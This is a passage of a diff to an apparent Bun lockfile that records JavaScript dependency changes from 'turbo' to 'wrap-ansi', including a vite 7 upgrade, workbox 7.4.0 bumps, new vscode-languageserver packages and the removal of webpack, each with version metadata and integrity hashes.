+ "turbo-darwin-arm64": ["turbo-darwin-arm64@2.8.14", "", { "os": "darwin", "cpu": "arm64" }, "sha512-aS4yJuy6A1PCLws+PJpZP0qCURG8Y5iVx13z/WAbKyeDTY6W6PiGgcEllSaeLGxyn++382ztN/EZH85n2zZ6VQ=="],
+
+ "turbo-linux-64": ["turbo-linux-64@2.8.14", "", { "os": "linux", "cpu": "x64" }, "sha512-XC6wPUDJkakjhNLaS0NrHDMiujRVjH+naEAwvKLArgqRaFkNxjmyNDRM4eu3soMMFmjym6NTxYaF74rvET+Orw=="],
+
+ "turbo-linux-arm64": ["turbo-linux-arm64@2.8.14", "", { "os": "linux", "cpu": "arm64" }, "sha512-ChfE7isyVNjZrVSPDwcfqcHLG/FuIBbOFxnt1FM8vSuBGzHAs8AlTdwFNIxlEMJfZ8Ad9mdMxdmsCUPIWiQ6cg=="],
+
+ "turbo-windows-64": ["turbo-windows-64@2.8.14", "", { "os": "win32", "cpu": "x64" }, "sha512-FTbIeQL1ycLFW2t9uQNMy+bRSzi3Xhwun/e7ZhFBdM+U0VZxxrtfYEBM9CHOejlfqomk6Jh7aRz0sJoqYn39Hg=="],
+
+ "turbo-windows-arm64": ["turbo-windows-arm64@2.8.14", "", { "os": "win32", "cpu": "arm64" }, "sha512-KgZX12cTyhY030qS7ieT8zRkhZZE2VWJasDFVUSVVn17nR7IShpv68/7j5UqJNeRLIGF1XPK0phsP5V5yw3how=="],
+
"type": ["type@2.7.3", "", {}, "sha512-8j+1QmAbPvLZow5Qpi6NCaN8FB60p/6x8/vfNqOk/hC+HuvFZhL4+WfekuhQLiqFZXOgQdrs3B+XxEmCc6b3FQ=="],
"type-check": ["type-check@0.4.0", "", { "dependencies": { "prelude-ls": "^1.2.1" } }, "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew=="],
@@ -4441,6 +4727,8 @@
"ua-parser-js": ["ua-parser-js@1.0.37", "", {}, "sha512-bhTyI94tZofjo+Dn8SN6Zv8nBDvyXTymAdM3LDI/0IboIUwTu1rEhW7v2TfiVsoYWgkQ4kOVqnI8APUFbIQIFQ=="],
+ "ufo": ["ufo@1.6.3", "", {}, "sha512-yDJTmhydvl5lJzBmy/hyOAA0d+aqCBuwl818haVdYCRrWV84o7YyeVm4QlVHStqNrrJSTb6jKuFAVqAFsr+K3Q=="],
+
"uglify-js": ["uglify-js@3.17.4", "", { "bin": { "uglifyjs": "bin/uglifyjs" } }, "sha512-T9q82TJI9e/C1TAxYvfb16xO120tMVFZrGA3f9/P4424DNu6ypK103y0GPFVa17yotwSyZW5iYXgjYHkGrJW/g=="],
"uid-safe": ["uid-safe@2.1.5", "", { "dependencies": { "random-bytes": "~1.0.0" } }, "sha512-KPHm4VL5dDXKz01UuEd88Df+KzynaohSL9fBh096KWAxSKZQDI2uBrVqtvRM4rwrIrRRKsdLNML/lnaaVSRioA=="],
@@ -4451,7 +4739,9 @@
"undefsafe": ["undefsafe@2.0.5", "", {}, "sha512-WxONCrssBM8TSPRqN5EmsjVrsv4A8X12J4ArBiiayv3DyyG3ZlIg6yysuuSYdZsVz3TKcTg2fd//Ujd4CHV1iA=="],
- "undici": ["undici@7.16.0", "", {}, "sha512-QEg3HPMll0o3t2ourKwOeUAZ159Kn9mx5pnzHRQO8+Wixmh88YdZRiIwat0iNzNNXn0yoEtXJqFpyW7eM8BV7g=="],
+ "underscore": ["underscore@1.13.8", "", {}, "sha512-DXtD3ZtEQzc7M8m4cXotyHR+FAS18C64asBYY5vqZexfYryNNnDc02W4hKg3rdQuqOYas1jkseX0+nZXjTXnvQ=="],
+
+ "undici": ["undici@7.22.0", "", {}, "sha512-RqslV2Us5BrllB+JeiZnK4peryVTndy9Dnqq62S3yYRRTj0tFQCwEniUy2167skdGOy3vqRzEvl1Dm4sV2ReDg=="],
"undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
@@ -4495,10 +4785,6 @@
"url": ["url@0.11.4", "", { "dependencies": { "punycode": "^1.4.1", "qs": "^6.12.3" } }, "sha512-oCwdVC7mTuWiPyjLUz/COz5TLk6wgp0RCsN+wHZ2Ekneac9w8uuV0njcbbie2ME+Vs+d6duwmYuR3HgQXs1fOg=="],
- "url-parse": ["url-parse@1.5.10", "", { "dependencies": { "querystringify": "^2.1.1", "requires-port": "^1.0.0" } }, "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ=="],
-
- "url-template": ["url-template@2.0.8", "", {}, "sha512-XdVKMF4SJ0nP/O7XIPB0JwAEuT9lDIYnNsK8yGVe43y0AWoKeJNdv3ZNWh7ksJ6KqQFjOO6ox/VEitLnaVNufw=="],
-
"use-callback-ref": ["use-callback-ref@1.3.3", "", { "dependencies": { "tslib": "^2.0.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" } }, "sha512-jQL3lRnocaFtu3V00JToYz/4QkNWswxijDaCVNZRiRTO3HQDLsdu1ZtmIUvV4yPp+rvWm5j0y0TG/S61cuijTg=="],
"use-composed-ref": ["use-composed-ref@1.3.0", "", { "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0" } }, "sha512-GLMG0Jc/jiKov/3Ulid1wbv3r54K9HlMW29IWcDFPEqFkSO2nS0MuefWgMJpeHQ9YJeXDL3ZUF+P3jdXlZX/cQ=="],
@@ -4535,36 +4821,42 @@
"vfile-message": ["vfile-message@4.0.2", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-stringify-position": "^4.0.0" } }, "sha512-jRDZ1IMLttGj41KcZvlrYAaI3CfqpLpfpf+Mfig13viT6NKvRzWZ+lXz0Y5D60w6uJIBAOGq9mSHf0gktF0duw=="],
- "vite": ["vite@6.4.1", "", { "dependencies": { "esbuild": "^0.25.0", "fdir": "^6.4.4", "picomatch": "^4.0.2", "postcss": "^8.5.3", "rollup": "^4.34.9", "tinyglobby": "^0.2.13" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0", "jiti": ">=1.21.0", "less": "*", "lightningcss": "^1.21.0", "sass": "*", "sass-embedded": "*", "stylus": "*", "sugarss": "*", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "tsx"], "bin": "bin/vite.js" }, "sha512-+Oxm7q9hDoLMyJOYfUYBuHQo+dkAloi33apOPP56pzj+vsdJDzr+j1NISE5pyaAuKL4A3UD34qd0lx5+kfKp2g=="],
+ "vite": ["vite@7.3.1", "", { "dependencies": { "esbuild": "^0.27.0", "fdir": "^6.5.0", "picomatch": "^4.0.3", "postcss": "^8.5.6", "rollup": "^4.43.0", "tinyglobby": "^0.2.15" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "jiti": ">=1.21.0", "less": "^4.0.0", "lightningcss": "^1.21.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-w+N7Hifpc3gRjZ63vYBXA56dvvRlNWRczTdmCBBa+CotUzAPf5b7YMdMR/8CQoeYE5LX3W4wj6RYTgonm1b9DA=="],
"vite-plugin-compression2": ["vite-plugin-compression2@2.2.1", "", { "dependencies": { "@rollup/pluginutils": "^5.1.0", "tar-mini": "^0.2.0" } }, "sha512-LMDkgheJaFBmb8cB8ymgUpXHXnd3m4kmjEInvp59fOZMSaT/9oDUtqpO0ihr4ExGsnWfYcRe13/TNN3BEk2t/g=="],
- "vite-plugin-node-polyfills": ["vite-plugin-node-polyfills@0.23.0", "", { "dependencies": { "@rollup/plugin-inject": "^5.0.5", "node-stdlib-browser": "^1.2.0" }, "peerDependencies": { "vite": "^2.0.0 || ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0" } }, "sha512-4n+Ys+2bKHQohPBKigFlndwWQ5fFKwaGY6muNDMTb0fSQLyBzS+jjUNRZG9sKF0S/Go4ApG6LFnUGopjkILg3w=="],
+ "vite-plugin-node-polyfills": ["vite-plugin-node-polyfills@0.25.0", "", { "dependencies": { "@rollup/plugin-inject": "^5.0.5", "node-stdlib-browser": "^1.3.1" }, "peerDependencies": { "vite": "^2.0.0 || ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0" } }, "sha512-rHZ324W3LhfGPxWwQb2N048TThB6nVvnipsqBUJEzh3R9xeK9KI3si+GMQxCuAcpPJBVf0LpDtJ+beYzB3/chg=="],
- "vite-plugin-pwa": ["vite-plugin-pwa@0.21.2", "", { "dependencies": { "debug": "^4.3.6", "pretty-bytes": "^6.1.1", "tinyglobby": "^0.2.10", "workbox-build": "^7.3.0", "workbox-window": "^7.3.0" }, "peerDependencies": { "@vite-pwa/assets-generator": "^0.2.6", "vite": "^3.1.0 || ^4.0.0 || ^5.0.0 || ^6.0.0", "workbox-build": "^7.3.0", "workbox-window": "^7.3.0" }, "optionalPeers": ["@vite-pwa/assets-generator"] }, "sha512-vFhH6Waw8itNu37hWUJxL50q+CBbNcMVzsKaYHQVrfxTt3ihk3PeLO22SbiP1UNWzcEPaTQv+YVxe4G0KOjAkg=="],
+ "vite-plugin-pwa": ["vite-plugin-pwa@1.2.0", "", { "dependencies": { "debug": "^4.3.6", "pretty-bytes": "^6.1.1", "tinyglobby": "^0.2.10", "workbox-build": "^7.4.0", "workbox-window": "^7.4.0" }, "peerDependencies": { "@vite-pwa/assets-generator": "^1.0.0", "vite": "^3.1.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0" }, "optionalPeers": ["@vite-pwa/assets-generator"] }, "sha512-a2xld+SJshT9Lgcv8Ji4+srFJL4k/1bVbd1x06JIkvecpQkwkvCncD1+gSzcdm3s+owWLpMJerG3aN5jupJEVw=="],
"vm-browserify": ["vm-browserify@1.1.2", "", {}, "sha512-2ham8XPWTONajOR0ohOKOHXkm3+gaBmGut3SRuu75xLd/RRaY6vqgh8NBYYk7+RW3u5AtzPQZG8F10LHkl0lAQ=="],
"void-elements": ["void-elements@3.1.0", "", {}, "sha512-Dhxzh5HZuiHQhbvTW9AMetFfBHDMYpo23Uo9btPXgdYP+3T5S+p+jgNy7spra+veYhBP2dCSgxR/i2Y02h5/6w=="],
+ "vscode-jsonrpc": ["vscode-jsonrpc@8.2.0", "", {}, "sha512-C+r0eKJUIfiDIfwJhria30+TYWPtuHJXHtI7J0YlOmKAo7ogxP20T0zxB7HZQIFhIyvoBPwWskjxrvAtfjyZfA=="],
+
+ "vscode-languageserver": ["vscode-languageserver@9.0.1", "", { "dependencies": { "vscode-languageserver-protocol": "3.17.5" }, "bin": { "installServerIntoExtension": "bin/installServerIntoExtension" } }, "sha512-woByF3PDpkHFUreUa7Hos7+pUWdeWMXRd26+ZX2A8cFx6v/JPTtd4/uN0/jB6XQHYaOlHbio03NTHCqrgG5n7g=="],
+
+ "vscode-languageserver-protocol": ["vscode-languageserver-protocol@3.17.5", "", { "dependencies": { "vscode-jsonrpc": "8.2.0", "vscode-languageserver-types": "3.17.5" } }, "sha512-mb1bvRJN8SVznADSGWM9u/b07H7Ecg0I3OgXDuLdn307rl/J3A9YD6/eYOssqhecL27hK1IPZAsaqh00i/Jljg=="],
+
+ "vscode-languageserver-textdocument": ["vscode-languageserver-textdocument@1.0.12", "", {}, "sha512-cxWNPesCnQCcMPeenjKKsOCKQZ/L6Tv19DTRIGuLWe32lyzWhihGVJ/rcckZXJxfdKCFvRLS3fpBIsV/ZGX4zA=="],
+
+ "vscode-languageserver-types": ["vscode-languageserver-types@3.17.5", "", {}, "sha512-Ld1VelNuX9pdF39h2Hgaeb5hEZM2Z3jUrrMgWQAu82jMtZp7p3vJT3BzToKtZI7NgQssZje5o0zryOrhQvzQAg=="],
+
+ "vscode-uri": ["vscode-uri@3.1.0", "", {}, "sha512-/BpdSx+yCQGnCvecbyXdxHDkuk55/G3xwnC0GqY4gmQ3j+A+g8kzzgB4Nk/SINjqn6+waqw3EgbVF2QKExkRxQ=="],
+
"w3c-keyname": ["w3c-keyname@2.2.8", "", {}, "sha512-dpojBhNsCNN7T82Tm7k26A6G9ML3NkhDsnw9n/eoxSRlVBB4CEtIQ/KTCLI2Fwf3ataSXRhYFkQi3SlnFwPvPQ=="],
"w3c-xmlserializer": ["w3c-xmlserializer@5.0.0", "", { "dependencies": { "xml-name-validator": "^5.0.0" } }, "sha512-o8qghlI8NZHU1lLPrpi2+Uq7abh4GGPpYANlalzWxyWteJOCsr/P+oPBA49TOLu5FTZO4d3F9MnWJfiMo4BkmA=="],
"walker": ["walker@1.0.8", "", { "dependencies": { "makeerror": "1.0.12" } }, "sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ=="],
- "watchpack": ["watchpack@2.4.2", "", { "dependencies": { "glob-to-regexp": "^0.4.1", "graceful-fs": "^4.1.2" } }, "sha512-TnbFSbcOCcDgjZ4piURLCbJ3nJhznVh9kw6F6iokjiFPl8ONxe9A6nMDVXDiNbrSfLILs6vB07F7wLBrwPYzJw=="],
-
"web-namespaces": ["web-namespaces@2.0.1", "", {}, "sha512-bKr1DkiNa2krS7qxNtdrtHAmzuYGFQLiQ13TsorsdT6ULTkPLKuu5+GsFpDlg6JFjUTwX2DyhMPG2be8uPrqsQ=="],
"web-streams-polyfill": ["web-streams-polyfill@3.3.3", "", {}, "sha512-d2JWLCivmZYTSIoge9MsgFCZrt571BikcWGYkjC1khllbTeDlGqZ2D8vD8E/lJa8WGWbb7Plm8/XJYV7IJHZZw=="],
"webidl-conversions": ["webidl-conversions@3.0.1", "", {}, "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ=="],
- "webpack": ["webpack@5.94.0", "", { "dependencies": { "@types/estree": "^1.0.5", "@webassemblyjs/ast": "^1.12.1", "@webassemblyjs/wasm-edit": "^1.12.1", "@webassemblyjs/wasm-parser": "^1.12.1", "acorn": "^8.7.1", "acorn-import-attributes": "^1.9.5", "browserslist": "^4.21.10", "chrome-trace-event": "^1.0.2", "enhanced-resolve": "^5.17.1", "es-module-lexer": "^1.2.1", "eslint-scope": "5.1.1", "events": "^3.2.0", "glob-to-regexp": "^0.4.1", "graceful-fs": "^4.2.11", "json-parse-even-better-errors": "^2.3.1", "loader-runner": "^4.2.0", "mime-types": "^2.1.27", "neo-async": "^2.6.2", "schema-utils": "^3.2.0", "tapable": "^2.1.1", "terser-webpack-plugin": "^5.3.10", "watchpack": "^2.4.1", "webpack-sources": "^3.2.3" }, "bin": "bin/webpack.js" }, "sha512-KcsGn50VT+06JH/iunZJedYGUJS5FGjow8wb9c0v5n1Om8O1g4L6LjtfxwlXIATopoQu+vOXXa7gYisWxCoPyg=="],
-
- "webpack-sources": ["webpack-sources@3.2.3", "", {}, "sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w=="],
-
"websocket-driver": ["websocket-driver@0.7.4", "", { "dependencies": { "http-parser-js": ">=0.5.1", "safe-buffer": ">=5.1.0", "websocket-extensions": ">=0.1.1" } }, "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg=="],
"websocket-extensions": ["websocket-extensions@0.1.4", "", {}, "sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg=="],
@@ -4595,37 +4887,37 @@
"wordwrap": ["wordwrap@1.0.0", "", {}, "sha512-gvVzJFlPycKc5dZN4yPkP8w7Dc37BtP1yczEneOb4uq34pXZcvrtRTmWV8W+Ume+XCxKgbjM+nevkyFPMybd4Q=="],
- "workbox-background-sync": ["workbox-background-sync@7.3.0", "", { "dependencies": { "idb": "^7.0.1", "workbox-core": "7.3.0" } }, "sha512-PCSk3eK7Mxeuyatb22pcSx9dlgWNv3+M8PqPaYDokks8Y5/FX4soaOqj3yhAZr5k6Q5JWTOMYgaJBpbw11G9Eg=="],
+ "workbox-background-sync": ["workbox-background-sync@7.4.0", "", { "dependencies": { "idb": "^7.0.1", "workbox-core": "7.4.0" } }, "sha512-8CB9OxKAgKZKyNMwfGZ1XESx89GryWTfI+V5yEj8sHjFH8MFelUwYXEyldEK6M6oKMmn807GoJFUEA1sC4XS9w=="],
- "workbox-broadcast-update": ["workbox-broadcast-update@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0" } }, "sha512-T9/F5VEdJVhwmrIAE+E/kq5at2OY6+OXXgOWQevnubal6sO92Gjo24v6dCVwQiclAF5NS3hlmsifRrpQzZCdUA=="],
+ "workbox-broadcast-update": ["workbox-broadcast-update@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0" } }, "sha512-+eZQwoktlvo62cI0b+QBr40v5XjighxPq3Fzo9AWMiAosmpG5gxRHgTbGGhaJv/q/MFVxwFNGh/UwHZ/8K88lA=="],
- "workbox-build": ["workbox-build@7.3.0", "", { "dependencies": { "@apideck/better-ajv-errors": "^0.3.1", "@babel/core": "^7.24.4", "@babel/preset-env": "^7.11.0", "@babel/runtime": "^7.11.2", "@rollup/plugin-babel": "^5.2.0", "@rollup/plugin-node-resolve": "^15.2.3", "@rollup/plugin-replace": "^2.4.1", "@rollup/plugin-terser": "^0.4.3", "@surma/rollup-plugin-off-main-thread": "^2.2.3", "ajv": "^8.6.0", "common-tags": "^1.8.0", "fast-json-stable-stringify": "^2.1.0", "fs-extra": "^9.0.1", "glob": "^7.1.6", "lodash": "^4.17.20", "pretty-bytes": "^5.3.0", "rollup": "^2.43.1", "source-map": "^0.8.0-beta.0", "stringify-object": "^3.3.0", "strip-comments": "^2.0.1", "tempy": "^0.6.0", "upath": "^1.2.0", "workbox-background-sync": "7.3.0", "workbox-broadcast-update": "7.3.0", "workbox-cacheable-response": "7.3.0", "workbox-core": "7.3.0", "workbox-expiration": "7.3.0", "workbox-google-analytics": "7.3.0", "workbox-navigation-preload": "7.3.0", "workbox-precaching": "7.3.0", "workbox-range-requests": "7.3.0", "workbox-recipes": "7.3.0", "workbox-routing": "7.3.0", "workbox-strategies": "7.3.0", "workbox-streams": "7.3.0", "workbox-sw": "7.3.0", "workbox-window": "7.3.0" } }, "sha512-JGL6vZTPlxnlqZRhR/K/msqg3wKP+m0wfEUVosK7gsYzSgeIxvZLi1ViJJzVL7CEeI8r7rGFV973RiEqkP3lWQ=="],
+ "workbox-build": ["workbox-build@7.4.0", "", { "dependencies": { "@apideck/better-ajv-errors": "^0.3.1", "@babel/core": "^7.24.4", "@babel/preset-env": "^7.11.0", "@babel/runtime": "^7.11.2", "@rollup/plugin-babel": "^5.2.0", "@rollup/plugin-node-resolve": "^15.2.3", "@rollup/plugin-replace": "^2.4.1", "@rollup/plugin-terser": "^0.4.3", "@surma/rollup-plugin-off-main-thread": "^2.2.3", "ajv": "^8.6.0", "common-tags": "^1.8.0", "fast-json-stable-stringify": "^2.1.0", "fs-extra": "^9.0.1", "glob": "^11.0.1", "lodash": "^4.17.20", "pretty-bytes": "^5.3.0", "rollup": "^2.79.2", "source-map": "^0.8.0-beta.0", "stringify-object": "^3.3.0", "strip-comments": "^2.0.1", "tempy": "^0.6.0", "upath": "^1.2.0", "workbox-background-sync": "7.4.0", "workbox-broadcast-update": "7.4.0", "workbox-cacheable-response": "7.4.0", "workbox-core": "7.4.0", "workbox-expiration": "7.4.0", "workbox-google-analytics": "7.4.0", "workbox-navigation-preload": "7.4.0", "workbox-precaching": "7.4.0", "workbox-range-requests": "7.4.0", "workbox-recipes": "7.4.0", "workbox-routing": "7.4.0", "workbox-strategies": "7.4.0", "workbox-streams": "7.4.0", "workbox-sw": "7.4.0", "workbox-window": "7.4.0" } }, "sha512-Ntk1pWb0caOFIvwz/hfgrov/OJ45wPEhI5PbTywQcYjyZiVhT3UrwwUPl6TRYbTm4moaFYithYnl1lvZ8UjxcA=="],
- "workbox-cacheable-response": ["workbox-cacheable-response@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0" } }, "sha512-eAFERIg6J2LuyELhLlmeRcJFa5e16Mj8kL2yCDbhWE+HUun9skRQrGIFVUagqWj4DMaaPSMWfAolM7XZZxNmxA=="],
+ "workbox-cacheable-response": ["workbox-cacheable-response@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0" } }, "sha512-0Fb8795zg/x23ISFkAc7lbWes6vbw34DGFIMw31cwuHPgDEC/5EYm6m/ZkylLX0EnEbbOyOCLjKgFS/Z5g0HeQ=="],
- "workbox-core": ["workbox-core@7.3.0", "", {}, "sha512-Z+mYrErfh4t3zi7NVTvOuACB0A/jA3bgxUN3PwtAVHvfEsZxV9Iju580VEETug3zYJRc0Dmii/aixI/Uxj8fmw=="],
+ "workbox-core": ["workbox-core@7.4.0", "", {}, "sha512-6BMfd8tYEnN4baG4emG9U0hdXM4gGuDU3ectXuVHnj71vwxTFI7WOpQJC4siTOlVtGqCUtj0ZQNsrvi6kZZTAQ=="],
- "workbox-expiration": ["workbox-expiration@7.3.0", "", { "dependencies": { "idb": "^7.0.1", "workbox-core": "7.3.0" } }, "sha512-lpnSSLp2BM+K6bgFCWc5bS1LR5pAwDWbcKt1iL87/eTSJRdLdAwGQznZE+1czLgn/X05YChsrEegTNxjM067vQ=="],
+ "workbox-expiration": ["workbox-expiration@7.4.0", "", { "dependencies": { "idb": "^7.0.1", "workbox-core": "7.4.0" } }, "sha512-V50p4BxYhtA80eOvulu8xVfPBgZbkxJ1Jr8UUn0rvqjGhLDqKNtfrDfjJKnLz2U8fO2xGQJTx/SKXNTzHOjnHw=="],
- "workbox-google-analytics": ["workbox-google-analytics@7.3.0", "", { "dependencies": { "workbox-background-sync": "7.3.0", "workbox-core": "7.3.0", "workbox-routing": "7.3.0", "workbox-strategies": "7.3.0" } }, "sha512-ii/tSfFdhjLHZ2BrYgFNTrb/yk04pw2hasgbM70jpZfLk0vdJAXgaiMAWsoE+wfJDNWoZmBYY0hMVI0v5wWDbg=="],
+ "workbox-google-analytics": ["workbox-google-analytics@7.4.0", "", { "dependencies": { "workbox-background-sync": "7.4.0", "workbox-core": "7.4.0", "workbox-routing": "7.4.0", "workbox-strategies": "7.4.0" } }, "sha512-MVPXQslRF6YHkzGoFw1A4GIB8GrKym/A5+jYDUSL+AeJw4ytQGrozYdiZqUW1TPQHW8isBCBtyFJergUXyNoWQ=="],
- "workbox-navigation-preload": ["workbox-navigation-preload@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0" } }, "sha512-fTJzogmFaTv4bShZ6aA7Bfj4Cewaq5rp30qcxl2iYM45YD79rKIhvzNHiFj1P+u5ZZldroqhASXwwoyusnr2cg=="],
+ "workbox-navigation-preload": ["workbox-navigation-preload@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0" } }, "sha512-etzftSgdQfjMcfPgbfaZCfM2QuR1P+4o8uCA2s4rf3chtKTq/Om7g/qvEOcZkG6v7JZOSOxVYQiOu6PbAZgU6w=="],
- "workbox-precaching": ["workbox-precaching@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0", "workbox-routing": "7.3.0", "workbox-strategies": "7.3.0" } }, "sha512-ckp/3t0msgXclVAYaNndAGeAoWQUv7Rwc4fdhWL69CCAb2UHo3Cef0KIUctqfQj1p8h6aGyz3w8Cy3Ihq9OmIw=="],
+ "workbox-precaching": ["workbox-precaching@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0", "workbox-routing": "7.4.0", "workbox-strategies": "7.4.0" } }, "sha512-VQs37T6jDqf1rTxUJZXRl3yjZMf5JX/vDPhmx2CPgDDKXATzEoqyRqhYnRoxl6Kr0rqaQlp32i9rtG5zTzIlNg=="],
- "workbox-range-requests": ["workbox-range-requests@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0" } }, "sha512-EyFmM1KpDzzAouNF3+EWa15yDEenwxoeXu9bgxOEYnFfCxns7eAxA9WSSaVd8kujFFt3eIbShNqa4hLQNFvmVQ=="],
+ "workbox-range-requests": ["workbox-range-requests@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0" } }, "sha512-3Vq854ZNuP6Y0KZOQWLaLC9FfM7ZaE+iuQl4VhADXybwzr4z/sMmnLgTeUZLq5PaDlcJBxYXQ3U91V7dwAIfvw=="],
- "workbox-recipes": ["workbox-recipes@7.3.0", "", { "dependencies": { "workbox-cacheable-response": "7.3.0", "workbox-core": "7.3.0", "workbox-expiration": "7.3.0", "workbox-precaching": "7.3.0", "workbox-routing": "7.3.0", "workbox-strategies": "7.3.0" } }, "sha512-BJro/MpuW35I/zjZQBcoxsctgeB+kyb2JAP5EB3EYzePg8wDGoQuUdyYQS+CheTb+GhqJeWmVs3QxLI8EBP1sg=="],
+ "workbox-recipes": ["workbox-recipes@7.4.0", "", { "dependencies": { "workbox-cacheable-response": "7.4.0", "workbox-core": "7.4.0", "workbox-expiration": "7.4.0", "workbox-precaching": "7.4.0", "workbox-routing": "7.4.0", "workbox-strategies": "7.4.0" } }, "sha512-kOkWvsAn4H8GvAkwfJTbwINdv4voFoiE9hbezgB1sb/0NLyTG4rE7l6LvS8lLk5QIRIto+DjXLuAuG3Vmt3cxQ=="],
- "workbox-routing": ["workbox-routing@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0" } }, "sha512-ZUlysUVn5ZUzMOmQN3bqu+gK98vNfgX/gSTZ127izJg/pMMy4LryAthnYtjuqcjkN4HEAx1mdgxNiKJMZQM76A=="],
+ "workbox-routing": ["workbox-routing@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0" } }, "sha512-C/ooj5uBWYAhAqwmU8HYQJdOjjDKBp9MzTQ+otpMmd+q0eF59K+NuXUek34wbL0RFrIXe/KKT+tUWcZcBqxbHQ=="],
- "workbox-strategies": ["workbox-strategies@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0" } }, "sha512-tmZydug+qzDFATwX7QiEL5Hdf7FrkhjaF9db1CbB39sDmEZJg3l9ayDvPxy8Y18C3Y66Nrr9kkN1f/RlkDgllg=="],
+ "workbox-strategies": ["workbox-strategies@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0" } }, "sha512-T4hVqIi5A4mHi92+5EppMX3cLaVywDp8nsyUgJhOZxcfSV/eQofcOA6/EMo5rnTNmNTpw0rUgjAI6LaVullPpg=="],
- "workbox-streams": ["workbox-streams@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0", "workbox-routing": "7.3.0" } }, "sha512-SZnXucyg8x2Y61VGtDjKPO5EgPUG5NDn/v86WYHX+9ZqvAsGOytP0Jxp1bl663YUuMoXSAtsGLL+byHzEuMRpw=="],
+ "workbox-streams": ["workbox-streams@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0", "workbox-routing": "7.4.0" } }, "sha512-QHPBQrey7hQbnTs5GrEVoWz7RhHJXnPT+12qqWM378orDMo5VMJLCkCM1cnCk+8Eq92lccx/VgRZ7WAzZWbSLg=="],
- "workbox-sw": ["workbox-sw@7.3.0", "", {}, "sha512-aCUyoAZU9IZtH05mn0ACUpyHzPs0lMeJimAYkQkBsOWiqaJLgusfDCR+yllkPkFRxWpZKF8vSvgHYeG7LwhlmA=="],
+ "workbox-sw": ["workbox-sw@7.4.0", "", {}, "sha512-ltU+Kr3qWR6BtbdlMnCjobZKzeV1hN+S6UvDywBrwM19TTyqA03X66dzw1tEIdJvQ4lYKkBFox6IAEhoSEZ8Xw=="],
- "workbox-window": ["workbox-window@7.3.0", "", { "dependencies": { "@types/trusted-types": "^2.0.2", "workbox-core": "7.3.0" } }, "sha512-qW8PDy16OV1UBaUNGlTVcepzrlzyzNW/ZJvFQQs2j2TzGsg6IKjcpZC1RSquqQnTOafl5pCj5bGfAHlCjOOjdA=="],
+ "workbox-window": ["workbox-window@7.4.0", "", { "dependencies": { "@types/trusted-types": "^2.0.2", "workbox-core": "7.4.0" } }, "sha512-/bIYdBLAVsNR3v7gYGaV4pQW3M3kEPx5E8vDxGvxo6khTrGtSSCS7QiFKv9ogzBgZiy0OXLP9zO28U/1nF1mfw=="],
"wrap-ansi": ["wrap-ansi@9.0.0", "", { "dependencies": { "ansi-styles": "^6.2.1", "string-width": "^7.0.0", "strip-ansi": "^7.1.0" } }, "sha512-G8ura3S+3Z2G+mkgNRq8dqaFZAuxfsxpBB8OCTGRTCtp+l/v9nbFNmCUP1BZMts3G1142MsZfn6eeUKrr4PD1Q=="],
@@ -4637,6 +4929,8 @@
